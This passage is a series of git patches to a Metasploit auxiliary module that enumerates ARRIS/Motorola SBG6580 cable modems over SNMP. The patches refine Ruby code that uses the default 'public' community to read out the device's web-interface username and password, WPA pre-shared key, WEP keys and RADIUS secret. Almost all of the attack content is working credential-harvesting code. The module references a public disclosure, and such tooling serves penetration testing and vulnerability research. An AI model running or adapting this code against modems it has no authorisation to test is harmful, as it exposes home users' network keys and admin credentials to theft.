Gauge32: 1 / = Gauge32: 2 = Gauge32: 3 = Gauge32: 4 + # TODO: need to test what to_i does to Gauge32 + currentKey = snmp.get_value('iso.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_i + output_data["Current Network Key"] = currentKey + + if network_auth_mode == 6 + get_radius_info(snmp, output_data) + end + + when 2, 3, 4, 5, 7, 8 + # process all flavors of WPA + wpa_encryption = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.32').to_i + output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption) + + wpa_psk = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32').to_s + output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.strip + + if network_auth_mode == 4 + || network_auth_mode == 5 + || network_auth_mode == 8 + get_radius_info(snmp, output_data) + end + + else + print_error("Unknown network authentication mode '#{network_auth_mode}'") + end + else + print_status("Primary WiFi is disabled on the device") + end + + # attempt to get the username and password for the device user interface + # using the CableHome cabhPsDevMib MIB module which defines the + # basic management objects for the Portal Services logical element + # of a CableHome compliant Residential Gateway device + deviceUiSelection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0').to_i + if deviceUiSelection == 1 + deviceUiUsername = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s + output_data["Device UI Username"] = deviceUiUsername.strip + + deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s + output_data["Device UI Password"] = deviceUiPassword.strip + end + end + + # output + print_line("") + print_status("System information:\n") + line = "" + width = 30 # name field width + + fields_order.each {|k| + if not output_data.has_key?(k) + next + end + + v = output_data[k] + if (v.nil? or v.empty? or v =~ /Null/) + v = '-' + end + + report_note( + :host => ip, + :proto => 'udp', + :sname => 'snmp', + :port => datastore['RPORT'].to_i, + :type => "snmp.#{k}", + :data => v + ) + + line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v) + } + + print_line(line) + print_line("") + + rescue SNMP::RequestTimeout + vprint_status("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_status("#{ip} Connection refused.") + rescue SNMP::InvalidIpAddress + print_status("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") + rescue SNMP::UnsupportedVersion + print_status("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_status("Unknown error: #{e.class} #{e}") + elog("Unknown error: #{e.class} #{e}") + elog("Call stack:\n#{e.backtrace.join "\n"}") + ensure + disconnect_snmp + end + end + + def get_network_auth_mode_name(network_auth_mode) + case network_auth_mode + when 0 + "Open Security" + when 1 + "WEP" + when 2 + "WPA-PSK" + when 3 + "WPA2-PSK" + when 4 + "WPA RADIUS" + when 5 + "WPA2 RADIUS" + when 6 + "WEP 802.1x Authentication" + when 7 + "WPA-PSK and WPA2-PSK" + when 8 + "WPA and WPA2 RADIUS" + else + "Unknown" + end + end + + def get_wireless_band_name(wireless_band) + case wireless_band + when 1 + "2.4 Ghz" + when 2 + "5 Ghz" + else + "Unknown" + end + end + + def get_wpa_encryption_name(wpa_encryption) + case wpa_encryption + when 2 + "AES" + when 3 + "TKIP+AES" + else + "Unknown" + end + end + + def get_radius_info(snmp, output_data) + # Group Key Rotation Interval is the only one not identified, + # however, I believe that value was 0 and not 1 + # TODO: confirm this is the correct OID + rotation_interval = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.1.32').to_i + output_data["Group Key Rotation Interval"] = rotation_interval + + radius_server = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.32').to_s + # TODO: Hex-STRING IP Address hex value of each octet, convert hex octets to IP address + output_data["RADIUS Server"] = radius_server.strip + + radius_port = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.32').to_i + # TODO does Gauge32 convert to int? + output_data["RADIUS Port"] = radius_port + + radius_key = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.32').to_s + output_data["RADIUS Key"] = radius_key.strip + + reauth_interval = snmp.get_value('iso.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.5.32').to_i + # TODO does Gauge32 convert to int? + output_data["WPA/WPA2 Re-auth Interval"] = reauth_interval + end + +end From 81047e911a607bea719e092b93aa0da74dd5f91c Mon Sep 17 00:00:00 2001 From: inokii Date: Sat, 10 May 2014 10:38:46 -0400 Subject: [PATCH 008/107] Corrected OIDs to all numeric --- modules/auxiliary/scanner/snmp/sbg6580_enum.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index b003901954..54569f089d 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary # Get current network key. #= Gauge32: 1 / = Gauge32: 2 = Gauge32: 3 = Gauge32: 4 # TODO: need to test what to_i does to Gauge32 - currentKey = snmp.get_value('iso.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_i + currentKey = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_i output_data["Current Network Key"] = currentKey if network_auth_mode == 6 @@ -256,7 +256,7 @@ class Metasploit3 < Msf::Auxiliary radius_key = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.32').to_s output_data["RADIUS Key"] = radius_key.strip - reauth_interval = snmp.get_value('iso.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.5.32').to_i + reauth_interval = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.5.32').to_i # TODO does Gauge32 convert to int? output_data["WPA/WPA2 Re-auth Interval"] = reauth_interval end From c556a6e33139714cc9b3ed3541d967249b1b8890 Mon Sep 17 00:00:00 2001 From: inokii Date: Sat, 10 May 2014 15:52:37 -0400 Subject: [PATCH 009/107] Fixed syntax issue --- modules/auxiliary/scanner/snmp/sbg6580_enum.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 54569f089d..1f810974d1 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -113,10 +113,9 @@ class Metasploit3 < Msf::Auxiliary wpa_psk = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32').to_s output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.strip - - if network_auth_mode == 4 - || network_auth_mode == 5 - || network_auth_mode == 8 + + case network_auth_mode + when 4, 5, 8 get_radius_info(snmp, output_data) end From e5111f7634f233e66f3391f3fb6fd2cce38b69d3 Mon Sep 17 00:00:00 2001 From: inokii Date: Sun, 11 May 2014 23:17:42 -0400 Subject: [PATCH 010/107] Simplified get_radius_info method and cleaned up comments --- .../auxiliary/scanner/snmp/sbg6580_enum.rb | 20 ++++++------------- 1 file changed, 6 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 1f810974d1..8de1df8a34 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -75,6 +75,7 @@ class Metasploit3 < Msf::Auxiliary wep_encryption = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.32').to_i wep_encryption_name = "unknown" wep_key1 = wep_key2 = wep_key3 = wep_key4 = "" + # get appropriate WEP keys based on wep_encryption setting if wep_encryption == 1 wep_encryption_name = "64-bit" # TODO: need to test what to_s does to the SNMP hex-string @@ -96,9 +97,8 @@ class Metasploit3 < Msf::Auxiliary output_data["WEP Key 3"] = wep_key3.strip output_data["WEP Key 4"] = wep_key4.strip - # Get current network key. - #= Gauge32: 1 / = Gauge32: 2 = Gauge32: 3 = Gauge32: 4 - # TODO: need to test what to_i does to Gauge32 + # get current network key + # TODO: need to test what to_i does to Gauge32: Gauge32: 1 / = Gauge32: 2 = Gauge32: 3 = Gauge32: 4 currentKey = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_i output_data["Current Network Key"] = currentKey @@ -128,10 +128,12 @@ class Metasploit3 < Msf::Auxiliary # attempt to get the username and password for the device user interface # using the CableHome cabhPsDevMib MIB module which defines the - # basic management objects for the Portal Services logical element + # basic management objects for the Portal Services (PS) logical element # of a CableHome compliant Residential Gateway device deviceUiSelection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0').to_i if deviceUiSelection == 1 + # manufacturerLocal(1) - indicates Portal Services is using the vendor + # web user interface shipped with the device deviceUiUsername = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s output_data["Device UI Username"] = deviceUiUsername.strip @@ -238,12 +240,6 @@ class Metasploit3 < Msf::Auxiliary end def get_radius_info(snmp, output_data) - # Group Key Rotation Interval is the only one not identified, - # however, I believe that value was 0 and not 1 - # TODO: confirm this is the correct OID - rotation_interval = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.1.32').to_i - output_data["Group Key Rotation Interval"] = rotation_interval - radius_server = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.32').to_s # TODO: Hex-STRING IP Address hex value of each octet, convert hex octets to IP address output_data["RADIUS Server"] = radius_server.strip @@ -254,10 +250,6 @@ class Metasploit3 < Msf::Auxiliary radius_key = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.32').to_s output_data["RADIUS Key"] = radius_key.strip - - reauth_interval = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.5.32').to_i - # TODO does Gauge32 convert to int? - output_data["WPA/WPA2 Re-auth Interval"] = reauth_interval end end From f1cd601401f2794e83612081db6b557019804c57 Mon Sep 17 00:00:00 2001 From: inokii Date: Tue, 13 May 2014 00:15:21 -0400 Subject: [PATCH 011/107] Modified logic to attempt to process WiFi key data even if primary Wifi interface is not up --- .../auxiliary/scanner/snmp/sbg6580_enum.rb | 193 +++++++++--------- 1 file changed, 95 insertions(+), 98 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 8de1df8a34..ce7f9978ef 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -54,78 +54,75 @@ class Metasploit3 < Msf::Auxiliary print_good("#{ip}, Connected.") primaryWifiState = snmp.get_value('1.3.6.1.2.1.2.2.1.8.32').to_i - if primaryWifiState == 1 - # primary Wifi interface up - ssid = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32').to_s - output_data["SSID"] = ssid.strip - - wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0').to_i - output_data["802.11 Band"] = get_wireless_band_name(wireless_band) - - network_auth_mode = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.32').to_i - network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) - output_data["Network Authentication Mode"] = network_auth_mode_name - - case network_auth_mode - when 1, 6 - # WEP, WEP 802.1x Authentication - wep_passphrase = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.32').to_s - output_data["WEP Passphrase"] = wep_passphrase.strip - - wep_encryption = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.32').to_i - wep_encryption_name = "unknown" - wep_key1 = wep_key2 = wep_key3 = wep_key4 = "" - # get appropriate WEP keys based on wep_encryption setting - if wep_encryption == 1 - wep_encryption_name = "64-bit" - # TODO: need to test what to_s does to the SNMP hex-string - wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.1').to_s - wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.2').to_s - wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.3').to_s - wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.4').to_s - elsif wep_encryption == 2 - wep_encryption_name = "128-bit" - # TODO: need to test what to_s does to the SNMP hex-string - wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.1').to_s - wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.2').to_s - wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.3').to_s - wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.4').to_s - end - output_data["WEP Encryption"] = wep_encryption_name - output_data["WEP Key 1"] = wep_key1.strip - output_data["WEP Key 2"] = wep_key2.strip - output_data["WEP Key 3"] = wep_key3.strip - output_data["WEP Key 4"] = wep_key4.strip - - # get current network key - # TODO: need to test what to_i does to Gauge32: Gauge32: 1 / = Gauge32: 2 = Gauge32: 3 = Gauge32: 4 - currentKey = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_i - output_data["Current Network Key"] = currentKey - - if network_auth_mode == 6 - get_radius_info(snmp, output_data) - end - - when 2, 3, 4, 5, 7, 8 - # process all flavors of WPA - wpa_encryption = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.32').to_i - output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption) - - wpa_psk = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32').to_s - output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.strip - - case network_auth_mode - when 4, 5, 8 - get_radius_info(snmp, output_data) - end - - else - print_error("Unknown network authentication mode '#{network_auth_mode}'") - end - else + if primaryWifiState != 1 + # primary Wifi interface is not up print_status("Primary WiFi is disabled on the device") end + ssid = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32').to_s + output_data["SSID"] = ssid.strip + + wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0').to_i + output_data["802.11 Band"] = get_wireless_band_name(wireless_band) + + network_auth_mode = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.32').to_i + network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) + output_data["Network Authentication Mode"] = network_auth_mode_name + + case network_auth_mode + when 1, 6 + # WEP, WEP 802.1x Authentication + wep_passphrase = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.32').to_s + output_data["WEP Passphrase"] = wep_passphrase.strip + + wep_encryption = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.32').to_i + wep_encryption_name = "unknown" + wep_key1 = wep_key2 = wep_key3 = wep_key4 = "" + # get appropriate WEP keys based on wep_encryption setting + if wep_encryption == 1 + wep_encryption_name = "64-bit" + # TODO: need to test what to_s does to the SNMP hex-string + wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.1').to_s + wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.2').to_s + wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.3').to_s + wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.4').to_s + elsif wep_encryption == 2 + wep_encryption_name = "128-bit" + # TODO: need to test what to_s does to the SNMP hex-string + wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.1').to_s + wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.2').to_s + wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.3').to_s + wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.4').to_s + end + output_data["WEP Encryption"] = wep_encryption_name + output_data["WEP Key 1"] = wep_key1.strip + output_data["WEP Key 2"] = wep_key2.strip + output_data["WEP Key 3"] = wep_key3.strip + output_data["WEP Key 4"] = wep_key4.strip + + # get current network key + # TODO: need to test what to_i does to Gauge32: Gauge32: 1 / = Gauge32: 2 = Gauge32: 3 = Gauge32: 4 + currentKey = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_i + output_data["Current Network Key"] = currentKey + + if network_auth_mode == 6 + get_radius_info(snmp, output_data) + end + + when 2, 3, 4, 5, 7, 8 + # process all flavors of WPA + wpa_encryption = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.32').to_i + output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption) + + wpa_psk = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32').to_s + output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.strip + + case network_auth_mode + when 4, 5, 8 + get_radius_info(snmp, output_data) + end + end + # attempt to get the username and password for the device user interface # using the CableHome cabhPsDevMib MIB module which defines the # basic management objects for the Portal Services (PS) logical element @@ -140,39 +137,39 @@ class Metasploit3 < Msf::Auxiliary deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s output_data["Device UI Password"] = deviceUiPassword.strip end - end - # output - print_line("") - print_status("System information:\n") - line = "" - width = 30 # name field width + # output + print_line("") + print_status("System information:\n") + line = "" + width = 30 # name field width - fields_order.each {|k| - if not output_data.has_key?(k) - next + fields_order.each {|k| + if not output_data.has_key?(k) + next + end + + v = output_data[k] + if (v.nil? or v.empty? or v =~ /Null/) + v = '-' + end + + report_note( + :host => ip, + :proto => 'udp', + :sname => 'snmp', + :port => datastore['RPORT'].to_i, + :type => "snmp.#{k}", + :data => v + ) + + line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v) + } + + print_line(line) + #print_line("") end - v = output_data[k] - if (v.nil? or v.empty? or v =~ /Null/) - v = '-' - end - - report_note( - :host => ip, - :proto => 'udp', - :sname => 'snmp', - :port => datastore['RPORT'].to_i, - :type => "snmp.#{k}", - :data => v - ) - - line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v) - } - - print_line(line) - print_line("") - rescue SNMP::RequestTimeout vprint_status("#{ip} SNMP request timeout.") rescue Rex::ConnectionError From e37d56766ffc9e831f798bafcdc09ea617a82b9d Mon Sep 17 00:00:00 2001 From: inokii Date: Thu, 15 May 2014 02:57:14 -0400 Subject: [PATCH 012/107] Corrected extraction of WEP keys, current key, RADIUS server and port --- .../auxiliary/scanner/snmp/sbg6580_enum.rb | 45 ++++++++----------- 1 file changed, 19 insertions(+), 26 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index ce7f9978ef..6a87805940 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -38,9 +38,8 @@ class Metasploit3 < Msf::Auxiliary "Host IP", "SSID", "802.11 Band", "Network Authentication Mode", "WEP Passphrase", "WEP Encryption", "WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4", "Current Network Key", "WPA Encryption", - "WPA Pre-Shared Key (PSK)", "Group Key Rotation Interval", - "RADIUS Server", "RADIUS Port", "RADIUS Key", - "WPA/WPA2 Re-auth Interval", "Device UI Username", "Device UI Password" + "WPA Pre-Shared Key (PSK)", "RADIUS Server", "RADIUS Port", + "RADIUS Key", "Device UI Username", "Device UI Password" ] output_data = {} @@ -81,28 +80,25 @@ class Metasploit3 < Msf::Auxiliary # get appropriate WEP keys based on wep_encryption setting if wep_encryption == 1 wep_encryption_name = "64-bit" - # TODO: need to test what to_s does to the SNMP hex-string - wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.1').to_s - wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.2').to_s - wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.3').to_s - wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.4').to_s + wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.1') + wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.2') + wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.3') + wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.32.4') elsif wep_encryption == 2 wep_encryption_name = "128-bit" - # TODO: need to test what to_s does to the SNMP hex-string - wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.1').to_s - wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.2').to_s - wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.3').to_s - wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.4').to_s + wep_key1 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.1') + wep_key2 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.2') + wep_key3 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.3') + wep_key4 = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.32.4') end output_data["WEP Encryption"] = wep_encryption_name - output_data["WEP Key 1"] = wep_key1.strip - output_data["WEP Key 2"] = wep_key2.strip - output_data["WEP Key 3"] = wep_key3.strip - output_data["WEP Key 4"] = wep_key4.strip + output_data["WEP Key 1"] = wep_key1.unpack('H*')[0] + output_data["WEP Key 2"] = wep_key2.unpack('H*')[0] + output_data["WEP Key 3"] = wep_key3.unpack('H*')[0] + output_data["WEP Key 4"] = wep_key4.unpack('H*')[0] # get current network key - # TODO: need to test what to_i does to Gauge32: Gauge32: 1 / = Gauge32: 2 = Gauge32: 3 = Gauge32: 4 - currentKey = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_i + currentKey = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.32').to_s output_data["Current Network Key"] = currentKey if network_auth_mode == 6 @@ -167,7 +163,6 @@ class Metasploit3 < Msf::Auxiliary } print_line(line) - #print_line("") end rescue SNMP::RequestTimeout @@ -237,13 +232,11 @@ class Metasploit3 < Msf::Auxiliary end def get_radius_info(snmp, output_data) - radius_server = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.32').to_s - # TODO: Hex-STRING IP Address hex value of each octet, convert hex octets to IP address - output_data["RADIUS Server"] = radius_server.strip + radius_server = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.32') + output_data["RADIUS Server"] = radius_server.unpack("C4").join(".") - radius_port = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.32').to_i - # TODO does Gauge32 convert to int? - output_data["RADIUS Port"] = radius_port + radius_port = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.32').to_s + output_data["RADIUS Port"] = radius_port.strip radius_key = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.32').to_s output_data["RADIUS Key"] = radius_key.strip From 4ef369112f45599778784273a79427a62e65a276 Mon Sep 17 00:00:00 2001 From: inokii Date: Mon, 19 May 2014 12:55:40 -0400 Subject: [PATCH 013/107] Cleanup per msftidy report of Spaces at EOL --- modules/auxiliary/scanner/snmp/sbg6580_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 6a87805940..c0ca30e413 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary wpa_psk = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32').to_s output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.strip - + case network_auth_mode when 4, 5, 8 get_radius_info(snmp, output_data) From 5153886077ccb2691d4fc7ff0ee003effab38d1e Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 20 May 2014 02:14:52 -0400 Subject: [PATCH 014/107] Added disclosure URL and cleaned up output fields --- modules/auxiliary/scanner/snmp/sbg6580_enum.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index c0ca30e413..3a52847455 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -21,6 +21,7 @@ class Metasploit3 < Msf::Auxiliary The default community used is "public".', 'References' => [ + [ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ], [ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ], ], 'Author' => 'Matthew Kienow ', @@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary "WEP Passphrase", "WEP Encryption", "WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4", "Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)", "RADIUS Server", "RADIUS Port", - "RADIUS Key", "Device UI Username", "Device UI Password" + "RADIUS Key", "Username", "Password" ] output_data = {} @@ -128,15 +129,15 @@ class Metasploit3 < Msf::Auxiliary # manufacturerLocal(1) - indicates Portal Services is using the vendor # web user interface shipped with the device deviceUiUsername = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s - output_data["Device UI Username"] = deviceUiUsername.strip + output_data["Username"] = deviceUiUsername.strip deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s - output_data["Device UI Password"] = deviceUiPassword.strip + output_data["Password"] = deviceUiPassword.strip end # output print_line("") - print_status("System information:\n") + print_status("Device information:\n") line = "" width = 30 # name field width From e6126fde725c31e451d71cdc5fb6b41bf858d709 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 20 May 2014 02:55:57 -0400 Subject: [PATCH 015/107] Modified to pull username and password first --- .../auxiliary/scanner/snmp/sbg6580_enum.rb | 46 +++++++++---------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 3a52847455..06b2e3604c 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -15,9 +15,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module', 'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola - SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports wireless - network keys and information as well as device user interface username - and password. + SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username + and password for the device user interface as well as wireless network keys + and information. The default community used is "public".', 'References' => [ @@ -36,11 +36,11 @@ class Metasploit3 < Msf::Auxiliary # represents the order of the output data fields fields_order = [ - "Host IP", "SSID", "802.11 Band", "Network Authentication Mode", - "WEP Passphrase", "WEP Encryption", "WEP Key 1", "WEP Key 2", - "WEP Key 3", "WEP Key 4", "Current Network Key", "WPA Encryption", - "WPA Pre-Shared Key (PSK)", "RADIUS Server", "RADIUS Port", - "RADIUS Key", "Username", "Password" + "Host IP", "Username", "Password", "SSID", "802.11 Band", + "Network Authentication Mode", "WEP Passphrase", "WEP Encryption", + "WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4", + "Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)", + "RADIUS Server", "RADIUS Port", "RADIUS Key" ] output_data = {} @@ -53,6 +53,21 @@ class Metasploit3 < Msf::Auxiliary # already being displayed. print_good("#{ip}, Connected.") + # attempt to get the username and password for the device user interface + # using the CableHome cabhPsDevMib MIB module which defines the + # basic management objects for the Portal Services (PS) logical element + # of a CableHome compliant Residential Gateway device + deviceUiSelection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0').to_i + if deviceUiSelection == 1 + # manufacturerLocal(1) - indicates Portal Services is using the vendor + # web user interface shipped with the device + deviceUiUsername = 